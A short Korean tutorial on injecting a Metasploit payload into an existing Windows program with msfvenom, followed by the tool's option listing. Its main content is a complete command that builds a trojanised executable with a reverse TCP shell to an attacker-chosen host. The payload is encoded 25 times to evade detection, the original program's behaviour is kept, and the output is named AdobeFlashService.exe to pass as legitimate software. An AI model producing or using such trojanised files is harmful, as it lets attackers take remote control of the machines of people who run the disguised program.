MSFVENOM을 이용하여 Application에 Exploit Code 주입하기

MSFVENOM

metasploit 에 포함된 기능 중 하나이며 간단한 명령으로 exploit 코드 생성, exploit이 포함된 프로그램 생성, 기존에 존재하는 프로그램에 주입하는 등 여러가지 행위가 가능합니다. msfpayload, msfencoder 로도 가능하지만 개인적으로는 venom 이 가장 편한 것 같습니다.

Command Line(Inject exploit code)

한줄의 명령으로 쉽게 프로그램 내 exploit 코드 주입이 가능합니다.

msfvenom -x codeblack.exe \
    -p windows/shell/reverse_tcp \
    -e x86/shikata_ga_nai \
    -k -f exe \
    -i 25 LHOST=xxx.xxx.xxx.xxx LPORT=4444 > AdobeFlashService.exe
  • -x : 감염시킬 프로그램
  • -p : 삽입할 Payload
  • -e : 인코딩
  • -f : 포맷

Usage Venom

Usage: hvenom [options] <var=val>

Options:
    -p, --payload    <payload>       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    <length>        Prepend a nopsled of [length] size on to the payload
    -f, --format     <format>        Output format (use --help-formats for a list)
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       <architecture>  The architecture to use
        --platform   <platform>      The platform of the payload
    -s, --space      <length>        The maximum size of the resulting payload
    -b, --bad-chars  <list>          The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>         The number of times to encode the payload
    -c, --add-code   <path>          Specify an additional win32 shellcode file to include
    -x, --template   <path>          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --options                    List the payload's standard options
    -h, --help                       Show this message
        --help-formats               List available formats